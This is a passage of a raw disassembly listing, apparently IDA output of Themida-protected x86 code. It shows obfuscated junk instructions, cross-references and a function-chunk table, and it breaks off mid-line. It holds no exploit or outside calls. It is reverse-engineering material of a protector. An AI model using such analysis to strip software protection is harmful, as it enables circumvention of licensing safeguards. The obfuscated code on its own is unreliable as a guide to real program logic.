loc_58BC67: ; CODE XREF: sub_58C17E+5B6Bj pop edx xchg eax, [esp-0Eh+arg_8+2] pop esp mov cx, word ptr [esp-12h+arg_C+2] push ebp mov ebp, esp add ebp, 4 push 186Bh jmp loc_597E38 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58BC83: ; CODE XREF: Themida_:00594931j xor esi, [esp] mov esp, [esp] push esi push esp pop esi jmp loc_58CCDD ; --------------------------------------------------------------------------- loc_58BC91: ; CODE XREF: Themida_:00590B2Fj push dword ptr [esp] pop edi jmp loc_58B61E ; --------------------------------------------------------------------------- loc_58BC9A: ; CODE XREF: Themida_:loc_58DD46j jmp loc_593A62 ; --------------------------------------------------------------------------- loc_58BC9F: ; CODE XREF: Themida_:00596F7Bj pop ecx jmp loc_594A0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58BCA5: ; CODE XREF: sub_590467+236Ej sub bl, cl jmp loc_58A76D ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- loc_58BCAC: ; CODE XREF: Themida_:0058CFBCj mov ecx, 6796181Dh shr ecx, 2 xor ecx, 30729778h or edx, ecx pop ecx jmp loc_596850 ; --------------------------------------------------------------------------- loc_58BCC2: ; CODE XREF: Themida_:0058B080j bts [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC96 loc_58BCCD: ; CODE XREF: sub_58EC96+52BCj push 931h mov [esp+4+var_4], edx mov dh, 0 inc dh add dh, 0B0h sub dh, 4Bh sub cl, dh pop edx mov ebx, [esp+0] add esp, 4 sub bl, 5Dh sub bl, cl add bl, 5Dh pop ecx jmp loc_59664B ; END OF FUNCTION CHUNK FOR sub_58EC96 ; --------------------------------------------------------------------------- loc_58BCF9: ; CODE XREF: Themida_:0058ACE9j pop esp jmp loc_5971CA ; --------------------------------------------------------------------------- loc_58BCFF: ; CODE XREF: Themida_:005902ADj pop esi xor ebp, [esp] xor [esp], ebp jmp loc_5920C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5938B9 loc_58BD0B: ; CODE XREF: sub_5938B9-502Bj xor ebx, 2CB30EB1h sub edi, 7E1D0FDEh sub edi, ebx jmp loc_59082B ; END OF FUNCTION CHUNK FOR sub_5938B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58BD1E: ; CODE XREF: sub_5916C4-1A17j not edi sub edi, 37CF693Bh jmp loc_593026 ; --------------------------------------------------------------------------- loc_58BD2B: ; CODE XREF: sub_5916C4+3F42j pop ecx push eax mov ah, 0F7h not ah inc ah sub ah, 9Fh jmp loc_58C9D9 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58BD3B: ; CODE XREF: Themida_:0058F620j xor ebx, [esp] xor [esp], ebx jmp loc_58CA78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58BD46: ; CODE XREF: sub_5EC2E8:loc_5904A9j ; Themida_:005972E2j mov edx, [esp+30h+var_30] add esp, 4 sub edi, 8ED08B5h sub edi, esi jmp sub_59747D ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595258 loc_58BD59: ; CODE XREF: sub_595258-6E78j push 5FA8h mov [esp+0], ebx mov ebx, 2F620ED3h mov esi, ebx pop ebx shr esi, 3 shl esi, 3 jns loc_58B997 push ecx mov ecx, 79FB666Ah or ecx, 4A19697Dh mov esi, edx push eax ; END OF FUNCTION CHUNK FOR sub_595258 ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58BD84: ; CODE XREF: sub_5EC2E8-54411j shr dh, 1 add dh, 5Ah dec dh or dh, 54h push ecx jmp loc_58CE0B ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58BD94: ; CODE XREF: sub_58C17E+19E9j add ch, 0BBh jmp loc_58F892 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58BD9C: ; CODE XREF: Themida_:00595C3Bj pop ebp push 1461h mov [esp], edi push esi mov esi, 54EE575Ch neg esi js loc_591356 sub esi, 0AB11A8A2h push esi mov edx, ebx pop esi ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58BDBD: ; CODE XREF: sub_58C17E+A92Fj push [esp-0Ah+arg_4+2] push [esp-6+arg_0+2] pop esi add esp, 4 push ecx mov ecx, esp push edi mov edi, 544271A1h neg edi jmp loc_59481B ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- loc_58BDDA: ; CODE XREF: Themida_:00591904j sub ebp, 1F141C6Ah and ebp, 5EEA0DA1h sub ebp, 9EDFE5F4h sub eax, ebp jmp loc_58C3A8 ; --------------------------------------------------------------------------- loc_58BDF3: ; CODE XREF: Themida_:0058A71Ej mov edx, [esp] add esp, 4 add edx, 4 push 633h mov [esp], edi mov edi, 2 add edx, edi jmp loc_594E6F ; --------------------------------------------------------------------------- loc_58BE16: ; CODE XREF: Themida_:00596611j mov [esp], ecx push eax mov ah, 17h and ah, 8Dh sub ah, 9Ah push edx mov dh, 8Fh sub ah, dh pop edx mov cl, ah pop eax shl cl, 1 jmp loc_590BC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58BE32: ; CODE XREF: sub_5916C4-3971j sub bl, 8 mov ch, bl jmp loc_592D63 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58BE3C: ; CODE XREF: sub_58C17E+39C4j mov ecx, 28h push 32A9h mov [esp+2+var_4+2], ebx mov ebx, 1A3025A4h add ecx, 4E817D08h jmp loc_5931E2 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5948B7 loc_58BE59: ; CODE XREF: sub_5948B7-3A58j mov ecx, 5371559Fh and ecx, 26360458h add ecx, 1F412102h push ecx not [esp+4+var_4] jmp loc_590305 ; END OF FUNCTION CHUNK FOR sub_5948B7 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebp sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_58FADC ; --------------------------------------------------------------------------- loc_58BE93: ; CODE XREF: Themida_:00590826j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 4 add ebp, edi jmp loc_58C0C7 ; --------------------------------------------------------------------------- loc_58BEA9: ; CODE XREF: Themida_:00593131j add esp, 4 push edx mov edx, 4 sub ebx, edx pop edx xor ebx, [esp] xor [esp], ebx jmp loc_596D1C ; --------------------------------------------------------------------------- loc_58BEC0: ; CODE XREF: Themida_:0058C7BBj sub ebx, edx pop edx add ebx, 0A877BA99h and ebp, ebx pop ebx xor ebp, 721778FCh push eax mov eax, 1B4C5146h jmp loc_590D3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58BEDD: ; CODE XREF: sub_58C17E+FA3j push edi mov edi, 12911C2Fh mov esi, 12911C2Bh jmp loc_58FC07 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595123 loc_58BEED: ; CODE XREF: sub_595123-41CDj ; Themida_:00597D1Aj pop edx pop [esp+0Ch+var_C] jmp loc_59757F ; END OF FUNCTION CHUNK FOR sub_595123 ; --------------------------------------------------------------------------- loc_58BEF6: ; CODE XREF: Themida_:00594707j sub edi, 1DB15A02h and edi, 7A5376DCh jmp loc_58DE33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58BF07: ; CODE XREF: sub_59524C-3171j push 71D06E3Eh pop ecx xor ecx, 5DE00431h jmp loc_59699A ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_58BF18: ; CODE XREF: Themida_:0058E98Ej pop ecx jmp loc_5965A4 ; --------------------------------------------------------------------------- loc_58BF1E: ; CODE XREF: Themida_:00591024j sub esp, 4 mov [esp], esi jmp loc_58BB53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58BF2C: ; CODE XREF: sub_58C17E+2649j and eax, 48A377BCh inc eax sub eax, 0E407E291h add ecx, eax pop eax jmp loc_597CBB ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5EC2E8 loc_58BF3F: ; CODE XREF: sub_5EC2E8-5E825j pop esi xchg esi, ebp xchg ebp, esi push eax push edi mov edi, 0DCADD322h mov eax, edi pop edi jmp loc_595AD4 ; END OF FUNCTION CHUNK FOR sub_5EC2E8 ; --------------------------------------------------------------------------- loc_58BF53: ; CODE XREF: Themida_:00594F39j push eax jmp loc_597FFE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591059 loc_58BF59: ; CODE XREF: sub_591059+603Dj or esi, ecx pop ecx xor esi, 2ACD3BEDh jmp loc_59248C ; END OF FUNCTION CHUNK FOR sub_591059 ; --------------------------------------------------------------------------- loc_58BF67: ; CODE XREF: Themida_:005966B0j sub edi, 20343098h mov esi, [esp] add esp, 4 add edi, 2 jmp loc_590C3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59524C loc_58BF7E: ; CODE XREF: sub_59524C+AD1j mov [esp+0], ecx mov ecx, 87FB5464h add edx, ecx pop ecx jmp loc_58D1C9 ; END OF FUNCTION CHUNK FOR sub_59524C ; --------------------------------------------------------------------------- loc_58BF8E: ; CODE XREF: Themida_:0058A2EEj add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp sub [esp], eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58BFA6: ; CODE XREF: Themida_:005970CAj xchg esi, [esp] pop esp xchg ecx, [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_5953B3 ; --------------------------------------------------------------------------- loc_58BFBA: ; CODE XREF: Themida_:00595B06j or ebx, 7A405900h neg ebx jmp loc_58C55E ; --------------------------------------------------------------------------- loc_58BFC7: ; CODE XREF: Themida_:loc_58CC3Aj push ecx push ebx mov ebx, 7DA0097Bh jmp loc_590E33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58BFD3: ; CODE XREF: sub_58C17E+482j or bl, 0AFh jnz loc_595C94 inc bl jmp loc_58F7A5 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- mov ch, dl mov edx, [esp] loc_58BFE8: ; CODE XREF: Themida_:00592CF1j shr byte ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58BFF1: ; CODE XREF: sub_58C17E+2A3j mov ebx, esp jmp loc_58CE8A ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp], esi mov esi, 13BC7553h sub eax, 2BE439A1h sub eax, esi add eax, 2BE439A1h pop esi add eax, 41D85510h add eax, ebx sub eax, 41D85510h push edi push esi push eax mov eax, 368D25F5h jmp loc_5970E9 ; --------------------------------------------------------------------------- lodsd push esi mov esi, 0FE67D2Dh push ecx jmp loc_58D452 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590467 loc_58C03A: ; CODE XREF: sub_590467+4505j neg cl xchg cl, al push edx mov dl, 7 not dl dec dl shl dl, 8 shr dl, 3 jmp loc_58D7EF ; END OF FUNCTION CHUNK FOR sub_590467 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_58C050: ; CODE XREF: sub_58D99C+4D44j ; Themida_:005953BFj dec byte ptr [esp+0] pushf jmp loc_58A2CE ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C059: ; CODE XREF: sub_58C17E+7DBFj sub edx, 3FC579D0h jmp loc_5957AD ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58D99C loc_58C064: ; CODE XREF: sub_58D99C+11E5j push 466D37E5h pop eax jmp loc_5926D2 ; END OF FUNCTION CHUNK FOR sub_58D99C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59762D loc_58C06F: ; CODE XREF: sub_59762D-5E04j sub ebx, 126A201Dh sub ebx, ebp jmp loc_5977A7 ; END OF FUNCTION CHUNK FOR sub_59762D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5916C4 loc_58C07C: ; CODE XREF: sub_5916C4-492j mov edi, [esp-12h+arg_C+2] add esp, 4 push [esp-16h+arg_10+2] mov eax, [esp-12h+arg_C+2] jmp loc_592019 ; END OF FUNCTION CHUNK FOR sub_5916C4 ; --------------------------------------------------------------------------- loc_58C090: ; CODE XREF: Themida_:0058C753j mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp xchg edi, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_58C0B5: ; CODE XREF: Themida_:00593F8Ej jb loc_58DF01 jmp loc_59781D ; --------------------------------------------------------------------------- pop edx jmp sub_59762D ; --------------------------------------------------------------------------- pop edx loc_58C0C7: ; CODE XREF: Themida_:0058BEA4j pop edi jmp loc_58B059 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5965CD loc_58C0CD: ; CODE XREF: sub_5965CD+6j mov ecx, [esp+0] push edi mov edi, esp jmp loc_58AD2E ; END OF FUNCTION CHUNK FOR sub_5965CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594654 loc_58C0D8: ; CODE XREF: sub_594654+3662j mov [esp+8+var_8], edx push [esp+8+var_4] pop edx pop [esp+8+var_8] jmp loc_58C99E ; END OF FUNCTION CHUNK FOR sub_594654 ; --------------------------------------------------------------------------- loc_58C0E8: ; CODE XREF: Themida_:0058D5DCj add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_59006C ; --------------------------------------------------------------------------- loc_58C0F9: ; CODE XREF: Themida_:0058B215j mov edi, 7D0D039Ah jmp loc_58FB23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58F5B5 loc_58C103: ; CODE XREF: sub_58F5B5+3A3Dj mov edx, [esp-8+arg_4] add esp, 4 loc_58C10C: ; CODE XREF: sub_5916C4-1226j push 50D6h mov [esp-8+arg_4], ecx jmp sub_59338C ; END OF FUNCTION CHUNK FOR sub_58F5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58DBC4 loc_58C119: ; CODE XREF: sub_58DBC4+6568j pop ebp shr eax, 8 xor eax, ecx push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+0] jmp loc_58C97F ; END OF FUNCTION CHUNK FOR sub_58DBC4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596CA1 loc_58C133: ; CODE XREF: sub_596CA1-3D44j push eax mov eax, esp jmp loc_58D34A ; END OF FUNCTION CHUNK FOR sub_596CA1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_590010 loc_58C13B: ; CODE XREF: Themida_:0058CB1Aj ; sub_590010+3EA1j push edi jmp loc_58EAE5 ; END OF FUNCTION CHUNK FOR sub_590010 ; --------------------------------------------------------------------------- loc_58C141: ; CODE XREF: Themida_:0058E5BBj mov [esp], edx jmp loc_58AAEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D25 loc_58C149: ; CODE XREF: sub_592D25-3F4Bj mov esp, [esp+0] mov [esp+0], edx mov edx, 579F3161h xor edx, 28D839EBh push eax jmp loc_592446 ; END OF FUNCTION CHUNK FOR sub_592D25 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58C17E loc_58C160: ; CODE XREF: sub_58C17E+4B8j ; Themida_:00591364j pop edi add edi, 57E31B65h pop esi jmp loc_595236 ; END OF FUNCTION CHUNK FOR sub_58C17E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_592D12 loc_58C16D: ; CODE XREF: sub_592D12-63D2j add ecx, edx pop edx xor ecx, [esp-0Ch+arg_8] xor [esp-0Ch+arg_8], ecx xor ecx, [esp-0Ch+arg_8] jmp loc_58CD20 ; END OF FUNCTION CHUNK FOR sub_592D12 ; =============== S U B R O U T I N E ======================================= sub_58C17E proc near ; CODE XREF: sub_5EC2E8:loc_592757j ; sub_595123+2ACj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h arg_20 = dword ptr 24h arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 0058A42B SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0058A4BD SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058A569 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058A6FB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058A7D7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058A868 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058A8AA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058AADC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058AC8B SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058AD2E SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0058ADF2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058B046 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B095 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058B190 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0058B499 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 0058B4E8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058B5BA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058B69B SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0058B878 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058BACA SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0058BC67 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058BD94 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058BDBD SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058BE3C SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058BEDD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058BF2C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058BFD3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058BFF1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058C059 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C160 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058C1AC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058C1D7 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058C320 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0058C360 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058C41D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058C5FB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058C630 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058C692 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058C9E9 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058CA07 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0058CAD0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058CAF7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CB89 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058CBB7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058CBDC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058CCFB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058CDF5 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058CE6C SIZE 00000045 BYTES ; FUNCTION CHUNK AT 0058CEB9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0058CED7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058CFC1 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0058D05B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0058D085 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0058D116 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058D2DA SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0058D35B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058D5E1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058D686 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0058D770 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0058D869 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058D8D5 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058D92B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058DA2D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058DB64 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058DC87 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058DFD5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058E019 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058E145 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058E495 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058E507 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0058E5EE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0058E7C2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058E7DF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058E998 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0058EC51 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058ED18 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0058ED9C SIZE 0000002D BYTES ; FUNCTION CHUNK AT 0058EE3B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058EE52 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0058F10B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058F1ED SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0058F400 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058F4D9 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0058F572 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0058F59D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0058F5C5 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0058F609 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0058F7A5 SIZE 0000003D BYTES ; FUNCTION CHUNK AT 0058F892 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0058F970 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0058FA20 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0058FA36 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0058FB3A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0058FC07 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0058FC27 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0058FEB6 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0058FF50 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 0059018F SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005903B3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00590558 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005907BF SIZE 0000003F BYTES ; FUNCTION CHUNK AT 005909A6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005909F0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00590B34 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00590BC8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00590D5E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00590F16 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00590F6C SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005910FE SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00591170 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005911AA SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00591516 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005916BC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005919CC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00591BD6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00591BF4 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00591CE7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00591D61 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00591DEC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00591E27 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00591F34 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00591FD0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00591FFD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00592033 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 00592091 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005920F0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059216A SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005921A6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005922FF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059259A SIZE 00000029 BYTES ; FUNCTION CHUNK AT 0059263F SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00592682 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005926EA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00592737 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00592784 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00592A43 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00592E13 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00592F62 SIZE 00000039 BYTES ; FUNCTION CHUNK AT 00593000 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00593157 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005931E2 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00593299 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00593351 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00593495 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0059361D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00593650 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 005937D7 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00593886 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005938FF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00593A83 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00593B13 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00593F18 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00593F35 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005941D6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005945E0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005947F8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0059481B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00594887 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005948AC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059490B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00594936 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00594B2B SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00594C16 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00594C74 SIZE 0000003F BYTES ; FUNCTION CHUNK AT 00594D40 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00594E3C SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005950EB SIZE 00000032 BYTES ; FUNCTION CHUNK AT 00595236 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005953C4 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005954A0 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005955FB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005957AD SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005958DF SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00595921 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00595A16 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00595C94 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00595D6F SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00596042 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00596411 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005966B5 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005966EA SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00596731 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 